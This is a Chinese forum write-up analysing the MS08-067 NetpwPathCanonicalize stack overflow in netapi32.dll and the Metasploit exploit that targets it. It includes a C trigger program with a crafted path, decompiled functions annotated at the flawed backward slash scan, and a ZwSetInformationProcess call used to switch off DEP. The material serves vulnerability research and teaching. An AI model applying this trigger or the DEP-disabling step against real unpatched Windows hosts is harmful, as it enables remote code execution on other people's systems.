其他
ms08-067及msf exploit调试与分析
1 • 前言
漏洞存在位置:
2 • 漏洞原理
#include <windows.h>
#include <stdio.h>
typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
int main(int argc, char* argv[])
{
WCHAR path[256];
WCHAR can_path[256];
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibrary(".\\netapi32.dll");
MYPROC Trigger = NULL;
if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}
Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}
path[0] = 0;
wcscpy(path, L"\\aaa\\..\\..\\bbbb");
can_path[0] = 0;
type = 1000;
wprintf(L"BEFORE: %s\n", path);
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
wprintf(L"AFTER : %s\n", can_path);
wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);
FreeLibrary(handle);
return 0;
}
3 • 与漏洞无关的问题
__cdecl是C/C++和MFC程序默认使用的调用约定,也可以在函数声明时加上__cdecl关键字来手工指定。采用__cdecl约定时,函数参数按照从右到左的顺序入栈,并且由调用函数者把参数弹出栈以清理堆栈。因此,实现可变参数的函数只能使用该调用约定。
4 • 漏洞函数功能实现分析
int __stdcall RemoveLegacyFolder(wchar_t *path)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
start_pos = path;
cur = *path;
slash_pos_ = 0;
slash_pre_pos = 0;
slash_pos = 0;
if ( *path == '\\' || cur == '/' )
{
pos_2 = path[1];
if ( pos_2 == '\\' || pos_2 == '/' ) // 如果path以'\\\\'或'//'开头,直接定位到下一个斜杠处
// 这里是针对驱动的符号链接名吗?
{
for ( i = path + 2; ; ++i )
{
cur_pos = *i;
if ( *i == '\\' || cur_pos == '/' ) // 找到了下一个斜杠
break;
if ( !cur_pos )
return 0;
}
if ( !*i )
return 0;
start_pos = i + 1; // 斜杠的下一个位置,按理应该是正常的路径字符了
cur = *start_pos;
path = start_pos;
if ( *start_pos == '\\' || cur == '/' ) // 如果斜杠的下一个位置还是斜杠,即路径以'\\\\\\'或'///'开头,就失败直接返回0
return 0;
}
}
cur_pos_ = start_pos;
if ( !cur )
return 1;
while ( 1 )
{
if ( cur == '\\' )
{
if ( slash_pos_ == cur_pos_ - 1 ) // 路径中存在双斜杠就失败
return 0;
slash_pre_pos = slash_pos_;
slash_pos = cur_pos_;
goto next_pos;
}
if ( cur != '.' || slash_pos_ != cur_pos_ - 1 && cur_pos_ != start_pos )
goto next_pos;
v6 = cur_pos_ + 1;
v7 = cur_pos_[1];
if ( v7 == '.' ) // 遇到'..'的情况,v7是第二个'.'
{
v8 = cur_pos_[2];
if ( v8 == '\\' || !v8 )
{
if ( !slash_pre_pos ) // 如果在遇到'/../'之前没有遇到其他的斜杠,就出错返回
return 0;
_wcscpy(slash_pre_pos, cur_pos_ + 2); // 消除了'/../'
if ( !v8 )
return 1;
slash_pos = slash_pre_pos;
cur_pos_ = slash_pre_pos;
for ( j = slash_pre_pos - 1; *j != '\\' && j != path; --j )// 向前扫描,找到前一个斜杠的位置
// 漏洞就在这里,slash_pre_pos-1可能已经在path的外面了
;
start_pos = path;
slash_pre_pos = (wchar_t *)(*j == '\\' ? (unsigned int)j : 0);// 更新slash_pre_pos的值
}
goto next_pos;
}
if ( v7 != '\\' )
break;
if ( slash_pos_ ) // 遇到'.'的情况
{
v14 = slash_pos_;
}
else
{ // 遇到'./'之前,前面没有其他的斜杠
v6 = cur_pos_ + 2; // './'之后的第一个字符
v14 = cur_pos_;
}
_wcscpy(v14, v6); // 消除了'./'
start_pos = path;
check_no_end:
cur = *cur_pos_;
if ( !*cur_pos_ )
return 1;
slash_pos_ = slash_pos;
}
if ( v7 )
{
next_pos:
++cur_pos_;
goto check_no_end;
}
if ( slash_pos_ )
cur_pos_ = slash_pos_;
*cur_pos_ = 0;
return 1;
}
4.1 消除./
4.2 消除../
5 • 漏洞触发尝试
6 • msf exploit调试与分析
6.1 确认前向搜索斜杠位置
6.2 斜杠的由来
int __stdcall RtlIsDosDeviceName_U(PCWSTR String)
{
int result; // eax
UNICODE_STRING DestinationString; // [esp+0h] [ebp-8h] BYREF
if ( RtlInitUnicodeStringEx(&DestinationString, String) < 0 )
result = 0;
else
result = RtlIsDosDeviceName_Ustr(&DestinationString);
return result;
}
int __stdcall RtlInitUnicodeStringEx(PUNICODE_STRING DestinationString, PCWSTR SourceString)
{
size_t len; // eax
unsigned __int16 nbytes; // ax
if ( !SourceString )
{
DestinationString->Length = 0;
DestinationString->MaximumLength = 0;
DestinationString->Buffer = 0;
return 0;
}
len = wcslen(SourceString);
if ( len <= 0x7FFE )
{
nbytes = 2 * len;
DestinationString->Length = nbytes;
DestinationString->MaximumLength = nbytes + 2;
DestinationString->Buffer = (wchar_t *)SourceString;
return 0;
}
return 0xC0000106;
}
int __stdcall RtlIsDosDeviceName_Ustr(UNICODE_STRING *String)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v1 = String->Buffer;
v2 = 0;
v3 = RtlDetermineDosPathNameType_U(v1);
if ( v3 >= 0 )
{
if...
if...
}
str = String->Buffer;
*(_DWORD *)&DestinationString.Length = *(_DWORD *)&String->Length; // 这里修改的其实也是0x0014AF444,只不过内容还不是5C
w_len = String->Length >> 1;
DestinationString.Buffer = str;
if...
if... // 忽略路径最后可能存在的':',payload中没有
if...
last_char = str[w_len - 1];
do... // 忽略路径最后可能存在的'.'或者空格,payload中没有
v7 = 0;
if ( w_len )
{
for ( i = &str[w_len - 1]; i >= str; --i ) // 从后向前遍历
{
v9 = *i;
if ( *i == '\\' || v9 == '/' || v9 == ':' && i == str + 1 )// 搜索'\'字符能够找到
{
next_char = i + 1;
v11 = *next_char | 0x20; // 转大写
if ( v11 != 'l' && v11 != 'c' && v11 != 'p' && v11 != 'a' && v11 != 'n' )// '\'后面的字母应该为'L' 'C' 'P' 'A' 'N'中的一个,否则直接返回
return 0;
v7 = (char *)next_char - (char *)str;
RtlInitUnicodeString(&DestinationString, next_char);// 关键步骤在这个函数中
str = DestinationString.Buffer;
w_len = (DestinationString.Length >> 1) - v2;
DestinationString.Length += -2 * v2;
break;
}
}
// 记住参数Destination指向的就是0x0014AF444
void __stdcall RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString)
{
PCWSTR v2; // edi
int v3; // ecx
bool v4; // zf
unsigned int v5; // ecx
v2 = SourceString;
*(_DWORD *)&DestinationString->Length = 0; // 这里设置目标地址为0
DestinationString->Buffer = (wchar_t *)SourceString;
if ( SourceString )
{
v3 = -1;
do // 找到字符串末尾
{
if ( !v3 )
break;
v4 = *v2++ == 0;
--v3;
}
while ( !v4 );
v5 = 2 * ~v3; // 计算所占字节长度
if ( v5 > 65534 )
LOWORD(v5) = -2;
DestinationString->MaximumLength = v5;
DestinationString->Length = v5 - 2; // 这里设置了0x0014AF444的数值为所占字节长度-2
}
}
6.3 payload分析
导致我重新调试的原因就在这里,我一开始一直F8步过,结果程序总是直接退出了,后来我才意识到原因。
之前实验中接触的栈溢出,使用strcpy(dest, src)才实现溢出,dest位于当前栈帧栈顶的高地址处,所以溢出时覆盖的是当前栈帧的放回地址。但是这次实验发生溢出的目标地址位于当前栈帧栈顶的低地址处,发生溢出时覆盖的实际上是调用wcscpy函数栈帧所对应的返回地址。
一个进程的DEP设置标识位于KPROCESS结构中的_KEXECUTE_OPTIONS上,该标识可以通过API函数ZwQueryInformationProcess和ZwSetInformationProcess查询和修改。
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
ZwSetInformationProcess(
NtCurrentProcess(), // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x2
sizeof(ExecuteFlags)); // 0x4
6.4 总结
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
*本文由看雪论坛 LarryS 原创,转载请注明来自看雪社区
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!